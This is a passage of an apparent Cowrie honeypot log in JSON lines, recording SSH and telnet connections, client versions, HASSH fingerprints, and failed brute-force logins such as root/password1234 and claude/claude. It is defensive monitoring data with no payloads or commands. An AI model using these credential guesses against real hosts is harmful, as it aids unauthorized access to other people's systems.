25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:19.901742Z","src_ip":"38.253.239.21","session":"ca4300840062","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maldini3","message":"login attempt [root/maldini3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:20.844989Z","src_ip":"38.253.239.21","session":"ca4300840062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:22.075749Z","src_ip":"38.253.239.21","session":"ca4300840062","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.0.59","src_port":38478,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f51fc6c26c8","protocol":"ssh","message":"New connection: 43.153.0.59:38478 (159.203.135.109:22) [session: 2f51fc6c26c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:28.168010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:28.173096Z","src_ip":"43.153.0.59","session":"2f51fc6c26c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:28.241477Z","src_ip":"43.153.0.59","session":"2f51fc6c26c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"scp","message":"login attempt [root/scp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:28.547389Z","src_ip":"43.153.0.59","session":"2f51fc6c26c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:29.618649Z","src_ip":"43.153.0.59","session":"2f51fc6c26c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":57944,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0cd3595db13","protocol":"ssh","message":"New connection: 103.98.149.87:57944 (159.203.135.109:22) [session: b0cd3595db13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:29.694750Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.230.149","src_port":41360,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a7b897ff0cd","protocol":"ssh","message":"New connection: 207.154.230.149:41360 (159.203.135.109:22) [session: 3a7b897ff0cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:29.829426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:29.834363Z","src_ip":"207.154.230.149","session":"3a7b897ff0cd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:29.842672Z","src_ip":"103.98.149.87","session":"b0cd3595db13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:29.917885Z","src_ip":"207.154.230.149","session":"3a7b897ff0cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:29.978580Z","src_ip":"103.98.149.87","session":"b0cd3595db13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:30.294220Z","src_ip":"207.154.230.149","session":"3a7b897ff0cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.167.177.203","src_port":54060,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc0279eba306","protocol":"ssh","message":"New connection: 108.167.177.203:54060 (159.203.135.109:22) [session: bc0279eba306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:30.468971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:30.474138Z","src_ip":"108.167.177.203","session":"bc0279eba306","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:30.500745Z","src_ip":"108.167.177.203","session":"bc0279eba306","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.237.246","src_port":35986,"dst_ip":"159.203.135.109","dst_port":22,"session":"a991f10a8297","protocol":"ssh","message":"New connection: 43.156.237.246:35986 (159.203.135.109:22) [session: a991f10a8297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:30.519979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:30.528449Z","src_ip":"43.156.237.246","session":"a991f10a8297","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"junior","message":"login attempt [root/junior] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:30.641088Z","src_ip":"108.167.177.203","session":"bc0279eba306","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:30.766402Z","src_ip":"43.156.237.246","session":"a991f10a8297","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456!!","message":"login attempt [root/123456!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:30.988068Z","src_ip":"103.98.149.87","session":"b0cd3595db13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:31.380780Z","src_ip":"207.154.230.149","session":"3a7b897ff0cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:31.670247Z","src_ip":"108.167.177.203","session":"bc0279eba306","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"joao123","message":"login attempt [root/joao123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:31.749193Z","src_ip":"43.156.237.246","session":"a991f10a8297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:32.226300Z","src_ip":"103.98.149.87","session":"b0cd3595db13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":44544,"dst_ip":"159.203.135.109","dst_port":23,"session":"40c3dff7dfbf","protocol":"telnet","message":"New connection: 186.195.16.41:44544 (159.203.135.109:23) [session: 40c3dff7dfbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:32.931733Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:32.995458Z","src_ip":"43.156.237.246","session":"a991f10a8297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:36.677109Z","src_ip":"101.126.22.12","session":"7532b92ad382","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":41540,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c926b3525a6","protocol":"ssh","message":"New connection: 103.82.132.16:41540 (10.17.0.5:22) [session: 5c926b3525a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:44.559697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:44.564417Z","src_ip":"103.82.132.16","session":"5c926b3525a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:44.821999Z","src_ip":"103.82.132.16","session":"5c926b3525a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"slipknot","message":"login attempt [root/slipknot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:45.635756Z","src_ip":"103.82.132.16","session":"5c926b3525a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:46.896827Z","src_ip":"103.82.132.16","session":"5c926b3525a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":58420,"dst_ip":"159.203.135.109","dst_port":22,"session":"0790e2c82b4f","protocol":"ssh","message":"New connection: 62.133.62.83:58420 (159.203.135.109:22) [session: 0790e2c82b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:50.936104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:50.940749Z","src_ip":"62.133.62.83","session":"0790e2c82b4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:51.019305Z","src_ip":"62.133.62.83","session":"0790e2c82b4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password1234","message":"login attempt [root/password1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:51.258175Z","src_ip":"62.133.62.83","session":"0790e2c82b4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:52.345997Z","src_ip":"62.133.62.83","session":"0790e2c82b4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":59848,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c59f614f3f3","protocol":"ssh","message":"New connection: 181.47.9.103:59848 (159.203.135.109:22) [session: 0c59f614f3f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:53.241405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:53.245101Z","src_ip":"181.47.9.103","session":"0c59f614f3f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:49:53.386034Z","src_ip":"181.47.9.103","session":"0c59f614f3f3","protocol":"ssh"}
